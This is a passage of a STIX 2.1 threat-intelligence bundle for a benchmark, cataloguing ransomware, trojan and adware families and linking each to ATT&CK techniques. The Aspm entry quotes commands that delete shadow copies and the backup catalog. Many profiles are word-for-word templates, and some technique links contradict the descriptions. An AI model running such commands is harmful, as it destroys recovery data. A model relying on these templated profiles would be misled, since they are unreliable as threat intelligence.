      "description": "Artel (classified in antivirus detection telemetry under designations including Ransom:Win32/Artel, Ransom.Win32.Artel, and Win32/Artel) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Artel executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Artel",
        "Ransom.Win32.Artel",
        "Win32/Artel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Artel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/artel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87e72161-dd30-502f-91e9-217ee3e0aa45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0d8fc3c-a3c6-56d2-a7da-462589013e2d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Artel exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--797b21b1-121d-578e-8e3b-336a62823150",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0d8fc3c-a3c6-56d2-a7da-462589013e2d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Artel exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3426b70-623f-5bcc-a7ea-b05b1f65f18a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0d8fc3c-a3c6-56d2-a7da-462589013e2d",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Artel exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the small stager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a76d12cd-19a5-5fc0-9174-747e1125006f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aseye",
      "description": "Aseye (classified in antivirus detection telemetry under designations including Ransom:Win32/Aseye, Ransom.Win32.Aseye, and Win32/Aseye) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Aseye executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Aseye",
        "Downloader.Aseye",
        "Win32/Aseye",
        "Ransom:Win32/Aseye",
        "Ransom.Win32.Aseye"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aseye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aseye"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56b1cbda-d8e6-5d09-9fb5-80b1e3808b5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a76d12cd-19a5-5fc0-9174-747e1125006f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aseye exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec56ce6f-99ca-5eb3-a48d-58bd7a63fc89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a76d12cd-19a5-5fc0-9174-747e1125006f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aseye exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--add41cfa-1c80-51df-9516-1fc43333139d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a76d12cd-19a5-5fc0-9174-747e1125006f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aseye exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ae4c0bc-37f8-5f04-b04c-e6161999414c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Asianraw",
      "description": "Asianraw (classified in antivirus detection telemetry under designations including Ransom:Win32/Asianraw, Ransom.Win32.Asianraw, and Win32/Asianraw) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Asianraw executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Asianraw",
        "Downloader.Asianraw",
        "Win32/Asianraw",
        "Ransom:Win32/Asianraw",
        "Ransom.Win32.Asianraw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Asianraw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/asianraw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c353a6c6-fffd-5f7e-b5b7-b7a5973897b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae4c0bc-37f8-5f04-b04c-e6161999414c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asianraw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--874e20f8-57d2-5dc2-9145-d21a481bad92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae4c0bc-37f8-5f04-b04c-e6161999414c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asianraw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8de1a67d-c2ef-5595-8e28-1dae76edce54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae4c0bc-37f8-5f04-b04c-e6161999414c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asianraw exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Asktoolbar",
      "description": "Ask Toolbar (historically tracked under detections including BrowserModifier:Win32/AskToolbar, Adware:Win32/AskToolbar, and PUA:Win32/AskPartnerNetwork) is a notorious browser add-on and search modifier produced by Ask.com / APN LLC. Widely bundled into consumer software installations\u2014most notably historic Oracle Java Runtime Environment updates\u2014the Ask Toolbar altered web browser configurations across Internet Explorer, Google Chrome, and Mozilla Firefox. It hijacked the user's default search provider, homepage, and error pages to direct traffic through Ask.com search portals. Additionally, it inserted promotional toolbars, displayed persistent sponsored banners, and collected detailed telemetry regarding user search queries and browsing habits to fuel advertising monetization. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/AskToolbar",
        "Adware:Win32/AskToolbar",
        "PUA:Win32/AskPartnerNetwork",
        "Toolbar:Win32/Ask",
        "Win32/AskToolbar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Asktoolbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/asktoolbar"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3085dbef-0da7-54db-aeae-e996b45e30af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asktoolbar exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--246a0196-d464-5436-ad2d-73a4b55d81d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asktoolbar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db570601-417d-506a-b108-877d2cd28a28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asktoolbar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e81f3ca3-a13c-5e24-b9fc-bac651893609",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asktoolbar exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--656adc12-502b-5b3a-be52-a374cbf9070f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75450018-38a0-5b7d-b26e-f87bd691b17f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asktoolbar exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Asparnet",
      "description": "Asparnet (cataloged across security vendors under detections including Trojan:Win32/Asparnet and Adware:Win32/Asparnet) is a persistent Windows adware and trojan downloader active since 2013. Infiltrating systems via software bundles, free utilities, and deceptive download prompts, Asparnet establishes residency to monetize web traffic and deliver secondary payloads. Once active, the malware installs helper services that monitor web browsing activity, inject pop-up advertisements into visited web pages, and redirect user search queries to sponsored landing portals. Asparnet creates startup keys under Windows CurrentVersion\\Run to maintain persistence and periodically queries remote command-and-control servers to download updated advertising configurations and secondary malware modules. (Observed samples in benchmark: 58)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Asparnet",
        "Adware:Win32/Asparnet",
        "Win32/Asparnet",
        "Trojan.Asparnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Asparnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/asparnet"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cfac674-5b17-5329-94d8-f7bf79415b29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asparnet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72c08a3f-3ee7-57e6-a419-e7652c646f66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asparnet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--639600ae-1ed2-521a-bab0-d3f9344370d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asparnet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b403da7-dd4a-5309-8a95-6af939b650f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asparnet exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b510fcd-6979-5804-860a-6e000c179877",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b8272df-b94a-5c26-b728-2b0e95651901",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asparnet exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e9af3b85-e351-552d-9fba-4fcc276e29af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aspm",
      "description": "Aspm (classified across security vendors as Ransom:Win32/Aspm, Trojan-Ransom.Win32.Aspm, and Ransom.Aspm) is a targeted Windows crypto-ransomware family active in corporate extortion attacks. Propagated through spear-phishing payloads delivering malicious document droppers, compromised software supply chains, and brute-forced RDP accounts, Aspm executes high-speed multi-threaded encryption routines across logical drives and connected network storage shares. Aspm executes shell commands to stop database services (such as MSSQL, Oracle, and MySQL) and purge Windows system recovery artifacts via 'vssadmin delete shadows /all /quiet' and 'wbadmin delete catalog -quiet'. Files are encrypted using AES-256 and renamed with unique machine identifiers followed by the '.aspm' extension. Aspm drops ransom notes ('ASPM_README.txt') containing instructions for accessing a Tor negotiation portal to purchase decryption keys. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Aspm",
        "Trojan-Ransom.Win32.Aspm",
        "Win32/Aspm",
        "Ransom.Aspm",
        "Aspm Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aspm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aspm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0bf4b94-a047-5a2e-b81f-7c95f1a454ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aspxor",
      "description": "Aspxor (classified in antivirus detection telemetry under designations including Trojan:Win32/Aspxor, Trojan.Win32.Aspxor, and Win32/Aspxor) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Aspxor executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Aspxor",
        "Trojan.Win32.Aspxor",
        "Win32/Aspxor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aspxor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aspxor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74dda019-ce7c-59dd-b7e7-867adae375e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bf4b94-a047-5a2e-b81f-7c95f1a454ad",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aspxor exhibits technique T1498 (Network Denial of Service (Massive SMTP spam generation))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1014: Rootkit (Hiding files and processes)",
      "description": "MITRE ATT&CK Technique T1014 (Rootkit (Hiding files and processes)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1014",
          "url": "https://attack.mitre.org/techniques/T1014/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9943b79c-fe36-51da-ad7b-46faa59caacc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bf4b94-a047-5a2e-b81f-7c95f1a454ad",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aspxor exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc4a5cd4-3053-5508-8f97-683c6cd0ed80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bf4b94-a047-5a2e-b81f-7c95f1a454ad",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aspxor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9803bf13-a320-5017-8d71-bd22ad09bb37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bf4b94-a047-5a2e-b81f-7c95f1a454ad",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aspxor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa677c33-c084-5634-8125-e61cde6bb82f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Asym",
      "description": "Asym (classified in antivirus detection telemetry under designations including Ransom:Win32/Asym, Ransom.Win32.Asym, and Win32/Asym) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Asym executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Asym",
        "Downloader.Asym",
        "Win32/Asym",
        "Ransom:Win32/Asym",
        "Ransom.Win32.Asym"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Asym",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/asym"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13b48abd-2152-575e-b88f-925baafc7282",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa677c33-c084-5634-8125-e61cde6bb82f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asym exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc98b4e9-4725-56bd-acc8-4cb11159e9e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa677c33-c084-5634-8125-e61cde6bb82f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asym exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20ff0059-f8de-5f93-9f40-19f94573f1de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa677c33-c084-5634-8125-e61cde6bb82f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Asym exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--577d676f-62e9-5f20-ae13-6aacf3e1a51b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atmrod",
      "description": "Atmrod (classified in antivirus detection telemetry under designations including Ransom:Win32/Atmrod, Ransom.Win32.Atmrod, and Win32/Atmrod) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Atmrod executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Atmrod",
        "Downloader.Atmrod",
        "Win32/Atmrod",
        "Ransom:Win32/Atmrod",
        "Ransom.Win32.Atmrod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atmrod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atmrod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--444d26e3-9e39-56fb-9552-3e33e3cb7e78",
      "created": "2026-01-01T00:00:00.000Z",
